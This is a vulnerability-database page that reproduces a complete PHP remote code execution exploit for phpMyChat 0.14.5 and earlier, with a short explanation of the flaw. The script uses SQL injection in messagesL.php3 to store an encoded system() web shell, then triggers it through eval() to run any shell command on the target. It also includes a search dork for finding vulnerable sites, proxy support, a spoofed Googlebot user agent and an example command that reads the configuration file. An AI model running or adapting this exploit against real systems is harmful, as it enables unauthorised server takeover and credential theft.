Lucene search
K

phpMyChat <= 0.14.5 (SYS enter) Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

phpMyChat <= 0.14.5 Remote Code Executio

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;PHPMyChat &#60;= 0.14.5 \&#34;SYS enter\&#34; remote cmmnds xctn 0day\r\n&#34;;
echo &#34;by rgod [email protected]\r\n&#34;;
echo &#34;site: http://retrogod.altervista.org\r\n\r\n&#34;;
echo &#34;dork: intext:\&#34;2000-2001 The phpHeaven Team\&#34; -sourceforge\r\n\r\n&#34;;

if ($argc&#60;4) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path cmd OPTIONS\r\n&#34;;
echo &#34;host:      target server (ip/hostname)\r\n&#34;;
echo &#34;path:      path to PHPMyChat\r\n&#34;;
echo &#34;cmd:       a shell command\r\n&#34;;
echo &#34;Options:\r\n&#34;;
echo &#34;   -p[port]:    specify a port other than 80\r\n&#34;;
echo &#34;   -P[ip:port]: specify a proxy\r\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /phpmychat/ cat ./config/config.lib.php3\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /phpmychat/ ls -la -p81\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost / ls -la -P1.1.1.1:80\r\n&#34;;
die;
}

# explaination:
#
# sql injection in chat/messagesL.php3 near lines 56-60:
# ...
# If ($room != stripslashes($R))	// Same nick in another room
# {
# $DbLink-&#62;query(&#34;INSERT INTO &#34;.C_MSG_TBL.&#34; VALUES ($T, &#39;$R&#39;, &#39;SYS exit&#39;, &#39;&#39;, &#34;.time().&#34;, &#39;&#39;, &#39;sprintf(L_EXIT_ROM, \&#34;&#34;.special_char($U,$Latin1,1).&#34;\&#34;)&#39;)&#34;);
# $kicked = 3;
# }
# ...
#
# have a look to &#34;T&#34; argument, it is not sanitized before to be used in our
# INSERT query, so we can inject all the values we want and store them
# in the c_messages table. Also it is not delimited by quotes & we do not need
# quotes to extend the query, so this works regardless of magic_quotes_gpc settings
#
# sprintf() should be passed to an eval() near line 197:
#
# ...
# // &#34;System&#34; messages
#		else
#		{
#		if ($Dest == &#34; *&#34;)
#			{
#				$Message = &#34;[&#34;.L_ANNOUNCE.&#34;]&#60;BDO dir=\&#34;${textDirection}\&#34;&#62;&#60;/BDO&#62; &#34;.$Message;
#			}
#			else
#			{
#				if ($Dest != &#34;&#34;) $NewMsg .= &#34;&#60;B&#62;&#60;BDO dir=\&#34;${textDirection}\&#34;&#62;&#60;/BDO&#62;&#62;[&#34;.htmlspecialchars(stripslashes($Dest)).&#34;]&#60;BDO dir=\&#34;${textDirection}\&#34;&#62;&#60;/BDO&#62;&#60;/B&#62; &#34;;
#				$Message = str_replace(&#34;$&#34;,&#34;\\$&#34;,$Message);	// avoid &#39;$&#39; chars in nick to be parsed bellow
#				eval(&#34;\$Message = $Message;&#34;);
#			};
#			$NewMsg .= &#34;&#60;SPAN CLASS=\&#34;notify\&#34;&#62;&#34;.$Message.&#34;&#60;/SPAN&#62;&#60;/P&#62;&#34;;
#		};
# ...
#
# but what happen if we inject a system() call instead and if we simulate
# to be the SYS user? :)
#
# this is 0day, enjoy it

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}
function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}


$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd=&#34;&#34;;$port=80;$proxy=&#34;&#34;;

for ($i=3; $i&#60;=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;))
{$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}


#step 1 -&#62; SQL Injection, works regardsless of any magic_quotes_gpc seetings, it is an INSERT INTO query
#let&#39;s store a shell in c_messages table
$L=&#34;L=english&#34;;
$U=&#34;&#34;;

$T =&#34;0,&#34;; //type
$T.=&#34;CHAR(68,101,102,97,117,108,116),&#34;; //room (Default)
$T.=&#34;CHAR(83,89,83,32,101,110,116,101,114),&#34;; //username (SYS enter)
$T.=&#34;0,&#34;;//latin1
$T.=&#34;9999999999,&#34;;//m_time
$T.=&#34;1,&#34;;//address

//message (our encoded shell -&#62; system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec()
//u can use an unlimited number of chars for this
$T.=&#34;CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*&#34;;

$T=&#34;T=&#34;.urlencode($T);

for ($i=0; $i&#60;=1; $i++) //redo
{
srand(make_seed());
$anumber = rand(1,99999);
$R=&#34;R=Default&#34;.$anumber; //random, it must be different from the previous one
$packet =&#34;GET &#34;.$p.&#34;chat/messagesL.php3?$L&$U&$T&$R HTTP/1.0\r\n&#34;;
$packet.=&#34;X-Forwarded-For: suntzuuuuuuu\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
//debug
//echo quick_dump($packet);
sendpacketii($packet);
}
sleep(2);
#step 2 -&#62; shell is passed to an eval(), so we launch commands
$packet =&#34;GET &#34;.$p.&#34;chat/messagesL.php3?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=&#34;.$cmd.&#34; HTTP/1.0\r\n&#34;;
$packet.=&#34;User-Agent: Googlebot/2.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
//debug
//echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?&#62;

# milw0rm.com [2006-04-05]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13